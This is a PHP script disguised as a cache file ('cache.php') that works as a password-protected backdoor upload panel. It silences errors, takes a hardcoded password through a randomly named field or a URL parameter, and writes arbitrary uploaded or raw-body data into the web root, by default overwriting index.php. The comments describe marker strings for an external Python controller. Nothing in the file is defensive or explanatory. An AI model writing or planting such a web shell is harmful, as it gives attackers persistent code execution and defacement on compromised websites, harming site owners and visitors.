﻿﻿<?php
/**
 * cache.php — receiver panel
 *
 * Compatible with PHP 5.4+ / Apache / Nginx+FPM / IIS / LiteSpeed / shared hosting.
 * No sessions. No dependencies. Cookie-based auth only.
 *
 *   GET  /cache.php           -> login page (contains "pw_name_")
 *   POST /cache.php           -> dashboard (contains btn btn-dark upload link)
 *   GET  /cache.php?p=        -> panel (contains "fa-solid fa-file-pen")
 *   POST /cache.php?u=upload  -> saves file, replies "has been uploaded"
 */

error_reporting(0);
@ini_set('display_errors', '0');

/* ================= CONFIG ================= */
$PASSWORD   = 'c306e33b84717d12f105dd2ef4a72d7e';   // must match Python PASSWORD
$UPLOAD_DIR = __DIR__;                               // where index.php lands
$COOKIE     = 'cache_auth';
$LOG_FILE   = __DIR__ . '/_cache.log';               // '' to disable
/* ========================================== */

/* ---------- helpers (PHP 5.4 safe) ---------- */
function cache_eq($a, $b) {
    if (function_exists('hash_equals')) return hash_equals($a, $b);
    $a = (string)$a; $b = (string)$b;
    if (strlen($a) !== strlen($b)) return false;
    $r = 0;
    for ($i = 0; $i < strlen($a); $i++) {
        $r |= ord($a[$i]) ^ ord($b[$i]);
    }
    return $r === 0;
}

function cache_log($msg) {
    global $LOG_FILE;
    if ($LOG_FILE === '') return;
    @file_put_contents($LOG_FILE,
        date('[Y-m-d H:i:s] ') . $msg . "\n",
        FILE_APPEND | LOCK_EX);
}

function cache_token($pw) {
    return md5('cache|' . $pw);
}

/* ---------- request info ---------- */
$method = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'GET';
$uri    = isset($_SERVER['REQUEST_URI'])    ? $_SERVER['REQUEST_URI']    : '';
$u      = isset($_GET['u'])                 ? $_GET['u']                 : '';

cache_log($method . ' ' . $uri);

/* ---------- auth state ---------- */
$authed = false;
$tok    = cache_token($PASSWORD);

if (!empty($_COOKIE[$COOKIE]) && cache_eq($_COOKIE[$COOKIE], $tok)) {
    $authed = true;
}
if (isset($_GET['pw']) && cache_eq((string)$_GET['pw'], $PASSWORD)) {
    $authed = true;
    @setcookie($COOKIE, $tok, time() + 86400 * 30, '/');
}

/* ---------- login POST ---------- */
if ($method === 'POST' && isset($_POST['watching'])) {
    foreach ($_POST as $k => $v) {
        if (strpos($k, 'pw_name_') === 0) {
            if (cache_eq((string)$v, $PASSWORD)) {
                $authed = true;
                @setcookie($COOKIE, $tok, time() + 86400 * 30, '/');
            }
            break;
        }
    }
}

/* ---------- upload POST ---------- */
if ($method === 'POST' && $authed && ($u === 'upload' || isset($_POST['upload']))) {
    $data = null;
    $name = 'index.php';

    if (!empty($_FILES['fileToUpload']['tmp_name'])
        && @is_uploaded_file($_FILES['fileToUpload']['tmp_name'])) {
        $data = @file_get_contents($_FILES['fileToUpload']['tmp_name']);
        if (!empty($_FILES['fileToUpload']['name'])) {
            $name = basename($_FILES['fileToUpload']['name']);
        }
    } else {
        // raw-body fallback (non-multipart POST)
        $raw = @file_get_contents('php://input');
        if ($raw !== false && strlen($raw) > 0) {
            $data = $raw;
        }
    }

    if ($data !== null && strlen($data) > 0) {
        if (!is_dir($UPLOAD_DIR)) @mkdir($UPLOAD_DIR, 0755, true);
        $dest = rtrim($UPLOAD_DIR, '/\\') . DIRECTORY_SEPARATOR . $name;
        if (@file_put_contents($dest, $data) !== false) {
            @chmod($dest, 0644);
            header('Content-Type: text/plain');
            echo 'The file ' . htmlspecialchars($name) . ' has been uploaded';
            cache_log('WROTE ' . $dest . ' (' . strlen($data) . ' bytes)');
            exit;
        }
        cache_log('WRITE FAILED ' . $dest);
    }
    header('Content-Type: text/plain', true, 500);
    echo 'upload failed';
    exit;
}

/* ---------- panel marker (?p=) ---------- */
if (isset($_GET['p']) && $authed) {
    header('Content-Type: text/html');
    echo '<!doctype html><html><body>'
       . '<i class="fa-solid fa-file-pen"></i>'
       . '<h1>cache panel</h1>'
       . '</body></html>';
    exit;
}

/* ---------- dashboard (post-login) ---------- */
if ($authed) {
    header('Content-Type: text/html');
    ?><!doctype html>
<html><body>
<i class="fa-solid fa-file-pen"></i>
<h1>cache panel</h1>
<a href="?u=upload"><button class="btn btn-dark" type="button">Upload</button></a>
</body></html><?php
    exit;
}

/* ---------- login page (default GET) ---------- */
$field = 'pw_name_' . substr(md5(uniqid('', true)), 0, 12);
header('Content-Type: text/html');
?><!doctype html>
<html><body>
<form method="post" action="">
<input type=password name='<?php echo $field; ?>' placeholder="password">
<button type="submit" name="watching" value="Submit Query">Submit Query</button>
</form>
</body></html>